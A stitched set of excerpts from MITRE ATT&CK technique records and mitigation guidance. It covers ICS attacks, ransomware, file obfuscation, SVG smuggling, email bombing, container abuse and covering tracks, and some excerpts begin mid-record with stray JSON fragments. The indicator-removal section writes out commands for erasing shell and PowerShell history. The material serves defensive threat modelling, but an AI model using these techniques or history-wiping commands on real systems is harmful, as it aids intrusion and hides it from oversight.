T0873 Project File Infection - Adversaries may attempt to infect project files with malicious code.

[…]\n\n## Reference: ATT&CK T0874 Hooking\n**ATT&CK T0874 Hooking (full record).** Adversaries may hook into application programming interface (API) functions used by processes to redirect calls for execution and privilege escalation means. Windows processes often leverage these API functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions.\n\nOne type of hooking seen in ICS involves redirecting calls to these functions via import address table (IAT) hooking. IAT hooking uses modifications to a process IAT, where pointers to imported API functions are stored.\n\n**Classification.** - Tactics: execution, privilege-escalation\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Restrict Library Loading**: Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.\n- **Audit**: Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.

During the scan cycle, a PLC reads the status of all inputs and stores them in an image table. The image table is the PLCs internal storage location where values of inputs/outputs for one scan are stored while it executes the user program. After the PLC has solved the entire logic program, it updates the output image table. The contents of this output image table are written to the corresponding output points in I/O Modules.\n\nThe Input and Output Image tables described above make up the I/O Image on a PLC. This image is used by the user program instead of directly interacting with physical I/O.\n\nAdversaries may collect the I/O Image state of a PLC by utilizing a devices Native API to access the memory regions directly. The collection of the PLCs I/O state could be used to replace values or inform future stages of an attack.\n\n**Classification.** - Tactics: collection\n- Platforms: Embedded\n\n**Mitigations.** - **Mitigation Limited or Not Effective**: This type of attack technique cannot be easily mitigated with preventative controls since it is based on the abuse of system features.\n\n**Detection strategies and analytics.** - **Detection of I/O Image**\n  - Real-time monitoring identifies a single Industrial Control System (ICS) protocol session reading the complete Input/Output (I/O) image from a field device, rather than the sparse, fixed tag subset that legitimate Supervisory Control and Data Acquisition (SCADA) polling queries, from a source not in the approved control server list.

Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole.\n\nA Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to. The method of suppression may greatly depend on the type of alarm in question:\n\n* An alarm raised by a protocol message\n* An alarm signaled with I/O\n* An alarm bit set in a flag (and read)\n\nIn ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring. Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.\n\n**Classification.** - Tactics: inhibit-response-function\n- Platforms: Embedded, Windows, Linux, Network Devices\n\n**Mitigations.** - **Static Network Configuration**: Configure hosts and devices to use static network configurations when possible, protocols that require dynamic discovery/addressing (e.g., ARP, DHCP, DNS) can be used to manipulate network message forwarding and enable various AiTM attacks. This mitigation may not always be usable due to limited device features or challenges introduced with different network configurations.\n- **Network Allowlists**: Network allowlists can be implemented through either host-based files or system hosts files to specify what connections (e.g., IP address, MAC address, port, protocol) can be made from a device. Allowlist techniques that operate at the application layer (e.g., DNP3, Modbus, HTTP) are addressed in Filter Network Traffic mitigation.\n- **Network Segmentation**: Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network. […]"}]}

They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as File and Directory Permissions Modification or System Shutdown/Reboot, in order to unlock and/or gain access to manipulate these files. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR. Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors.\n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares. Encryption malware may also leverage Internal Defacement, such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted. For example, in AWS environments, adversaries may leverage services such as AWS’s Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.\n\n## Reference: ATT&CK T1567 Exfiltration Over Web Service\n**ATT&CK T1567 Exfiltration Over Web Service (full record).** Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel.

Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud; alternatively, they may be hybrid-joined between on-premises systems and the cloud through syncing or federation with other identity sources such as Windows Active Directory.\n\nService or user accounts may be targeted by adversaries through Brute Force, Phishing, or various other means to gain access to the environment. Federated or synced accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments - for example, by leveraging shared credentials to log onto Remote Services. High privileged cloud accounts, whether federated, synced, or cloud-only, may also allow pivoting to on-premises environments by leveraging SaaS-based Software Deployment Tools to run commands on hybrid-joined devices.\n\nAn adversary may create long lasting Additional Cloud Credentials on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication.\n\nCloud accounts may also be able to assume Temporary Elevated Cloud Access or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through Cloud API or other methods. For example, in Azure environments, adversaries may target Azure Managed Identities, which allow associated Azure resources to request access tokens. By compromising a resource with an attached Managed Identity, such as an Azure VM, adversaries may be able to Steal Application Access Tokens to move laterally across the cloud environment.

Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses Shortcut Modification of directory.LNK files that use Masquerading to look like the real directories, which are hidden through Hidden Files and Directories. The malicious.LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts.\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to,.EXE,.DLL,.SCR,.BAT, and/or.VBS.\n\n**Classification.** - Tactics: lateral-movement\n- Platforms: Windows, SaaS, Linux, macOS, Office Suite\n\n**Mitigations.** - **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware.

Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.\n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as `MSExchangeIS`, which will make Exchange content inaccessible. In some cases, adversaries may stop or disable many or all services to render systems unusable. Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server, or on virtual machines hosted on ESXi infrastructure.\n\nThreat actors may also disable or stop service in cloud environments.

Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.

Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as Software Packing, Steganography, and Embedded Payloads, share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., Deobfuscate/Decode Files or Information) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files. Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a Phishing payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., User Execution).\n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until Command and Scripting Interpreter execution.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

Polymorphic code is a type of software capable of changing its runtime footprint during code execution. With each execution of the software, the code is mutated into a different version of itself that achieves the same purpose or objective as the original. This functionality enables the malware to evade traditional signature-based defenses, such as antivirus and antimalware tools.\nOther obfuscation techniques can be used in conjunction with polymorphic code to accomplish the intended effects, including using mutation engines to conduct actions such as Software Packing, Command Obfuscation, or Encrypted/Encoded File.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

Rather than relying solely on known signatures, this approach leverages heuristics, machine learning, and real-time monitoring to identify anomalous patterns indicative of an attack. This mitigation can be implemented through the following measures:\n- **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats. […]\n\n## Reference: ATT&CK T1027.015 Compression\n**ATT&CK T1027.015 Compression (full record).** Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., Fileless Storage).\n\nIn order to further evade detection, adversaries may combine multiple ZIP files into one archive. This process of concatenation creates an archive that appears to be a single archive but in fact contains the central directories of the embedded archives. Some ZIP readers, such as 7zip, may not be able to identify concatenated ZIP files and miss the presence of the malicious payload.\n\nFile archives may be sent as one Spearphishing Attachment through email. Adversaries have sent malicious payloads as archived files to encourage the user to interact with and extract the malicious payload onto their system (i.e., Malicious File). However, some file compression tools, such as 7zip, can be used to produce self-extracting archives. Adversaries may send self-extracting archives to hide the functionality of their payload and launch it without requiring multiple actions from the user.\n\nCompression may be used in combination with Encrypted/Encoded File where compressed files are encrypted and password-protected.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\n**Mitigations.** - **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware. […]\n\n## Reference: ATT&CK T1027.016 Junk Code Insertion\n**ATT&CK T1027.016 Junk Code Insertion (full record).** Adversaries may use junk code / dead code to obfuscate a malware’s functionality. Junk code is code that either does not execute, or if it does execute, does not change the functionality of the code. Junk code makes analysis more difficult and time-consuming, as the analyst steps through non-functional code instead of analyzing the main code. It also may hinder detections that rely on static code analysis due to the use of benign functionality, especially when combined with Compression or Software Packing.\n\nNo-Operation (NOP) instructions are an example of dead code commonly used in x86 assembly language. They are commonly used as the 0x90 opcode. When NOPs are added to malware, the disassembler may show the NOP instructions, leading to the analyst needing to step through them.\n\nThe use of junk / dead code insertion is distinct from Binary Padding because the purpose is to obfuscate the functionality of the code, rather than simply to change the malware’s signature.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.

These solutions continuously monitor endpoints and systems for known malicious patterns and suspicious behaviors that indicate compromise. Antivirus/Antimalware software should be deployed across all devices, with automated updates to ensure protection against the latest threats.

SVGs, or Scalable Vector Graphics, are vector-based image files constructed using XML. As such, they can legitimately include ` ` tags that enable adversaries to include malicious JavaScript payloads. However, SVGs may appear less suspicious to users than other types of executable files, as they are often treated as image files.\n\nSVG smuggling can take a number of forms. For example, threat actors may include content that:\n\n* Assembles malicious payloads\n* Downloads malicious payloads\n* Redirects users to malicious websites\n* Displays interactive content to users, such as fake login forms and download buttons.\n\nSVG Smuggling may be used in conjunction with HTML Smuggling where an SVG with a malicious payload is included inside an HTML file. SVGs may also be included in other types of documents, such as PDFs.\n\n**Classification.** - Tactics: stealth\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1027 Obfuscated Files or Information - Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.\n\n**Mitigations.** - **Application Isolation and Sandboxing**: Application Isolation and Sandboxing refers to the technique of restricting the execution of code to a controlled and isolated environment (e.g., a virtual environment, container, or sandbox). This method prevents potentially malicious code from affecting the rest of the system or network by limiting access to sensitive resources and critical operations. The goal is to contain threats and minimize their impact. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for SVG Smuggling with Script Execution and Delivery Behavior**\n  - Detects suspicious SVG file creation or download events followed by script engine execution (e.g., wscript.exe, mshta.exe, rundll32.exe), network callbacks, or browser-based credential collection.

This may bury legitimate emails in a flood of spam and disrupt business operations.\n\nAn adversary may accomplish email bombing by leveraging an automated bot to register a targeted address for e-mail lists that do not validate new signups, such as online newsletters. The result can be a wave of thousands of e-mails that effectively overloads the victim’s inbox.\n\nBy sending hundreds or thousands of e-mails in quick succession, adversaries may successfully divert attention away from and bury legitimate messages including security alerts, daily business processes like help desk tickets and client correspondence, or ongoing scams. This behavior can also be used as a tool of harassment.\n\nThis behavior may be a precursor for Spearphishing Voice. For example, an adversary may email bomb a target and then follow up with a phone call to fraudulently offer assistance. This social engineering may lead to the use of Remote Access Software to steal credentials, deploy ransomware, conduct Financial Theft, or engage in other malicious activity.\n\n**Classification.** - Tactics: impact\n- Platforms: Linux, Office Suite, Windows, macOS\n\n**Mitigations.** - **User Training**: User Training involves educating employees and contractors on recognizing, reporting, and preventing cyber threats that rely on human interaction, such as phishing, social engineering, and other manipulative techniques. Comprehensive training programs create a human firewall by empowering users to be an active component of the organization's cybersecurity defenses. This mitigation can be implemented through the following measures:\n- **Software Configuration**: Software configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Email Bombing**\n  - Detect abnormally high volume of inbound email messages or repetitive attachments being delivered to a single mailbox within a short time window.

They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks — requiring Valid Accounts — belonging to a target organization. Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection.\n\nAdversaries may establish a wireless connection through various methods, such as by physically positioning themselves near a Wi-Fi network to conduct close access operations. To bypass the need for physical proximity, adversaries may attempt to remotely compromise nearby third-party systems that have both wired and wireless network connections available (i.e., dual-homed systems). These third-party compromised devices can then serve as a bridge to connect to a target’s Wi-Fi network.\n\nOnce an initial wireless connection is achieved, adversaries may leverage this access for follow-on activities in the victim network or further targeting of specific devices on the network. Adversaries may perform Network Sniffing or Adversary-in-the-Middle activities for Credential Access or Discovery.\n\n**Classification.** - Tactics: initial-access\n- Platforms: Linux, Network Devices, Windows, macOS\n\n**Mitigations.** - **Multi-factor Authentication**: Multi-Factor Authentication (MFA) enhances security by requiring users to provide at least two forms of verification to prove their identity before granting access. These factors typically include:\n- **Network Segmentation**: Network segmentation involves dividing a network into smaller, isolated segments to control and limit the flow of traffic between devices, systems, and applications. By segmenting networks, organizations can reduce the attack surface, restrict lateral movement by adversaries, and protect critical assets from compromise.\n- **Encrypt Sensitive Information**: Protect sensitive information at rest, in transit, and during processing by using strong encryption algorithms. Encryption ensures the confidentiality and integrity of data, preventing unauthorized access or tampering.

Android uses sandboxes to separate resources and code execution between applications and the operating system. There are a few virtualization solutions available on Android, such as the Android Virtualization Framework (AVF).\n\nThrough virtualization solutions, adversaries may execute malicious operations without user knowledge. For example, adversaries may mimic a legitimate banking application’s functionalities in a virtual environment, thanks to the virtualization solution, while malicious code captures credentials.\n\n**Classification.** - Tactics: defense-evasion\n- Platforms: Android\n\n**Mitigations.** - **User Guidance**: Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.\n\n**Detection strategies and analytics.** - **Detection of Virtualization Solution**\n  - For Android, detect Virtualization Solution by correlating analyst-visible device/network evidence and management state; use streaming or batched telemetry only where the documented collector is deployed.

Adversaries may create a custom application, add a legitimate application into the environment, or even co-opt an existing integration to achieve malicious ends.\n\nOAuth is an open standard that allows users to authorize applications to access their information on their behalf. In a SaaS environment such as Microsoft 365 or Google Workspace, users may integrate applications to improve their workflow and achieve tasks.\n\nLeveraging application integrations may allow adversaries to persist in an environment – for example, by granting consent to an application from a high-privileged adversary-controlled account in order to maintain access to its data, even in the event of losing access to the account. In some cases, integrations may remain valid even after the original consenting user account is disabled. Application integrations may also allow adversaries to bypass multi-factor authentication requirements through the use of Application Access Tokens. Finally, they may enable persistent Automated Exfiltration over time.\n\nCreating or adding a new application may require the adversary to create a dedicated Cloud Account for the application and assign it Additional Cloud Roles – for example, in Microsoft 365 environments, an application can only access resources via an associated service principal.\n\n**Classification.** - Tactics: persistence\n- Platforms: Office Suite, SaaS\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures:\n- **Audit**: Auditing is the process of recording activity and systematically reviewing and analyzing the activity and system configurations. The primary purpose of auditing is to detect anomalies and identify potential threats or weaknesses in the environment. Proper auditing configurations can also help to meet compliance requirements. The process of auditing encompasses regular analysis of user behaviors and system logs in support of proactive security measures. […]"}]}

Some common examples of Docker CLI include Docker Desktop CLI and Docker Compose, but users are also able to use SDKs to interact with the API. For example, Docker SDK for Python can be used to run commands within a Python application.\n\nAdversaries may leverage the Docker CLI, API, or SDK to pull or build Docker images (i.e., Ingress Tool Transfer, Build Image on Host), run containers (i.e., Deploy Container), or execute commands inside running containers (i.e., Container Administration Command). In some cases, threat actors may pull legitimate images that include scripts or tools that they can leverage - for example, using an image that includes the `curl` command to download payloads. Adversaries may also utilize `docker inspect` and `docker ps` to scan for cloud environment variables and other running containers (i.e., Container and Resource Discovery).\n\nKubernetes is responsible for the management and orchestration of containers across clusters. The Kubernetes control plane, which manages the state of the cluster and is responsible for scheduling, communication, and resource monitoring, can be invoked directly via the API or indirectly via CLI tools such as `kubectl`. It may also be accessed within client libraries such as Go or Python. By utilizing the API, administrators can interact with resources within the cluster such as listing or creating pods, which is a group of one or more containers. Adversaries call the API server via `curl` or other tools, allowing them to obtain further information about the environment such as pods, deployments, daemonsets, namespaces, or sysvars.

[…]\n\n## Reference: ATT&CK T1068 Exploitation for Privilege Escalation\n**ATT&CK T1068 Exploitation for Privilege Escalation (full record).** Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD). Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via Ingress Tool Transfer or Lateral Tool Transfer.\n\n**Classification.** - Tactics: privilege-escalation\n- Platforms: Containers, Linux, macOS, Windows\n\n**Mitigations.** - **Update Software**: Software updates ensure systems are protected against known vulnerabilities by applying patches and upgrades provided by vendors. Regular updates reduce the attack surface and prevent adversaries from exploiting known security gaps. This includes patching operating systems, applications, drivers, and firmware. This mitigation can be implemented through the following measures:\n- **Exploit Protection**: Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits.

Rather than broadly removing evidence, adversaries may target specific artifacts that appear anomalous or are likely to draw scrutiny, while leaving sufficient data intact to maintain the appearance of normal system behavior.\n\nArtifacts such as command histories, log entries, or file metadata may be altered in ways that align with expected user or system activity. Location, format, and type of artifact (such as command or login history) are often platform-specific, allowing adversaries to tailor modifications that minimize suspicion.\n\nThese actions may not prevent detection entirely but can delay recognition of malicious activity or reduce the fidelity of alerts by making events appear benign or consistent with routine operations. Additionally, selectively removed or modified artifacts may still be recoverable through deeper forensic analysis, though their absence or alteration can complicate timeline reconstruction and attribution.\n\n**Classification.** - Tactics: stealth\n- Platforms: Containers, ESXi, Linux, macOS, Network Devices, Office Suite, Windows\n\n**Sub-techniques.** - T1070.004 File Deletion: Adversaries may delete files left behind by the actions of their intrusion activity.\n- T1070.006 Timestomp: Adversaries may modify file time attributes to hide new files or changes to existing files.\n- T1070.008 Clear Mailbox Data: Adversaries may modify mail and mail application data to remove evidence of their activity.\n- T1070.009 Clear Persistence: Adversaries may clear artifacts associated with previously established persistence on a host system to remove evidence of their activity.\n- T1070.003 Clear Command History: In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion.\n- T1070.010 Relocate Malware: Once a payload is delivered, adversaries may reproduce copies of the same malware on the victim system to remove evidence of their presence and/or avoid defenses.

Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.\n\nOn Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable `HISTFILE`. When a user logs off a system, this information is flushed to a file in the user's home directory called `~/.bash_history`. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Adversaries may delete their commands from these logs by manually clearing the history (`history -c`) or deleting the bash history file `rm ~/.bash_history`.\n\nAdversaries may also leverage a Network Device CLI on network devices to clear command history data (`clear logging` and/or `clear history`). On ESXi servers, command history may be manually removed from the `/var/log/shell.log` file.\n\nOn Windows hosts, PowerShell has two different command history providers: the built-in history and the command history managed by the `PSReadLine` module. The built-in history only tracks the commands used in the current session. This command history is not available to other sessions and is deleted when the session ends.\n\nThe `PSReadLine` command history tracks the commands used in all PowerShell sessions and writes them to a file (`$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt` by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.\n\nAdversaries may run the PowerShell command `Clear-History` to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the `ConsoleHost_history.txt` file. Adversaries may also delete the `ConsoleHost_history.txt` file or edit its contents to hide PowerShell commands they have run.

This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. Direct Network Floods are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.\n\n## Reference: ATT&CK T0843 Program Download\n**ATT&CK T0843 Program Download (full record).** Adversaries may perform a program download to transfer a user program to a controller.\n\nVariations of program download, such as online edit and program append, allow a controller to continue running during the transfer and reconfiguration process without interruption to process control. However, before starting a full program download (i.e., download all) a controller may need to go into a stop state. This can have negative consequences on the physical process, especially if the controller is not able to fulfill a time-sensitive action. Adversaries may choose to avoid a download all in favor of an online edit or program append to avoid disrupting the physical process. An adversary may need to use the technique Detect Operating Mode or Change Operating Mode to make sure the controller is in the proper mode to accept a program download.\n\nThe granularity of control to transfer a user program in whole or parts is dictated by the management protocol (e.g., S7CommPlus, TriStation) and underlying controller API.

It prevents untrusted or malicious code from executing by verifying the digital signatures against trusted sources. Code signing protects against tampering, impersonation, and distribution of unauthorized or malicious software, forming a critical defense against supply chain and software exploitation attacks. This mitigation can be implemented through the following measures:\n\nEnforce Signed Code Execution:\n\n- Implementation: Configure operating systems (e.g., Windows with AppLocker or Linux with Secure Boot) to allow only signed code to execute.\n- Use Case: Prevent the execution of malicious PowerShell scripts by requiring all scripts to be signed with a trusted certificate.\n\nVendor-Signed Driver Enforcement:\n\n- Implementation: Enable kernel-mode code signing to ensure that only drivers signed by trusted vendors can be loaded.\n- Use Case: A malicious driver attempting to modify system memory fails to load because it lacks a valid signature.\n\nCertificate Revocation Management:\n\n- Implementation: Use Online Certificate Status Protocol (OCSP) or Certificate Revocation Lists (CRLs) to block certificates associated with compromised or deprecated code.\n- Use Case: A compromised certificate used to sign a malicious update is revoked, preventing further execution of the software.\n\nThird-Party Software Verification:\n\n- Implementation: Require software from external vendors to be signed with valid certificates before deployment.\n- Use Case: An organization only deploys signed and verified third-party software to prevent supply chain attacks.\n\nScript Integrity in CI/CD Pipelines:\n\n- Implementation: Integrate code signing into CI/CD pipelines to sign and verify code artifacts before production release.\n- Use Case: A software company ensures that all production builds are signed, preventing tampered builds from reaching customers.\n\n**Key Components of Code Signing**\n\n- Digital Signature Verification: Verifies the authenticity of code by ensuring it was signed by a trusted entity.\n- Certificate Management: Uses Public Key Infrastructure (PKI) to manage signing certificates and revocation lists.\n- Enforced Policy for Unsigned Code: Prevents the execution of unsigned or untrusted binaries and scripts.\n- Hash Integrity Check: Confirms that code has not been altered since signing by comparing cryptographic hashes.\n\n## Restrict File and Directory Permissions\nRestricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files. By configuring permissions appropriately, organizations can reduce the attack surface for adversaries seeking to access sensitive data, plant malicious code, or tamper with system files.\n\nEnforce Least Privilege Permissions:\n\n- Remove unnecessary write permissions on sensitive files and directories.\n- Use file ownership and groups to control access for specific roles.\n\nExample (Windows): Right-click the shared folder → Properties → Security tab → Adjust permissions for NTFS ACLs.\n\nHarden File Shares:\n\n- Disable anonymous access to shared folders.\n- Enforce NTFS permissions for shared folders on Windows.\n\nExample: Set permissions to restrict write access to critical files, such as system executables (e.g., `/bin` or `/sbin` on Linux). Use tools like `chown` and `chmod` to assign file ownership and limit access.\n\nOn Linux, apply:\n`chmod 750 /etc/sensitive.conf`\n`chown root:admin /etc/sensitive.conf`\n\nFile Integrity Monitoring (FIM):\n\n- Use tools like Tripwire, Wazuh, or OSSEC to monitor changes to critical file permissions.\n\nAudit File System Access:\n\n- Enable auditing to track permission changes or unauthorized access attempts.\n- Use auditd (Linux) or Event Viewer (Windows) to log activities.\n\nRestrict Startup Directories:\n\n- Configure permissions to prevent unauthorized writes to directories like `C:\\ProgramData\\Microsoft\\Windows\\Start Menu`.\n\nExample: Restrict write access to critical directories like `/etc/`, `/usr/local/`, and Windows directories such as `C:\\Windows\\System32`.\n\n- On Windows, use icacls to modify permissions: `icacls \"C:\\Windows\\System32\" /inheritance:r /grant:r SYSTEM:(OI)(CI)F`\n- On Linux, monitor permissions using tools like `lsattr` or `auditd`.\n\n## Software Configuration\nSoftware configuration refers to making security-focused adjustments to the settings of applications, middleware, databases, or other software to mitigate potential threats. These changes help reduce the attack surface, enforce best practices, and protect sensitive data. This mitigation can be implemented through the following measures:\n\nConduct a Security Review of Application Settings:\n\n- Review the software documentation to identify recommended security configurations.\n- Compare default settings against organizational policies and compliance requirements.\n\nImplement Access Controls and Permissions:\n\n- Restrict access to sensitive features or data within the software.\n- Enforce least privilege principles for all roles and accounts interacting with the software.\n\nEnable Logging and Monitoring:\n\n- Configure detailed logging for key application events such as authentication failures, configuration changes, or unusual activity.\n- Integrate logs with a centralized monitoring solution, such as a SIEM.\n\nUpdate and Patch Software Regularly:\n\n- Ensure the software is kept up-to-date with the latest security patches to address known vulnerabilities.\n- Use automated patch management tools to streamline the update process.\n\nDisable Unnecessary Features or Services:\n\n- Turn off unused functionality or components that could introduce vulnerabilities, such as debugging interfaces or deprecated APIs.\n\nTest Configuration Changes:\n\n- Perform configuration changes in a staging environment before applying them in production.\n- Conduct regular audits to ensure that settings remain aligned with security policies.\n\n*Tools for Implementation*\n\nConfiguration Management Tools:\n\n- Ansible: Automates configuration changes across multiple applications and environments.\n- Chef: Ensures consistent application settings through code-based configuration management.\n- Puppet: Automates software configurations and audits changes for 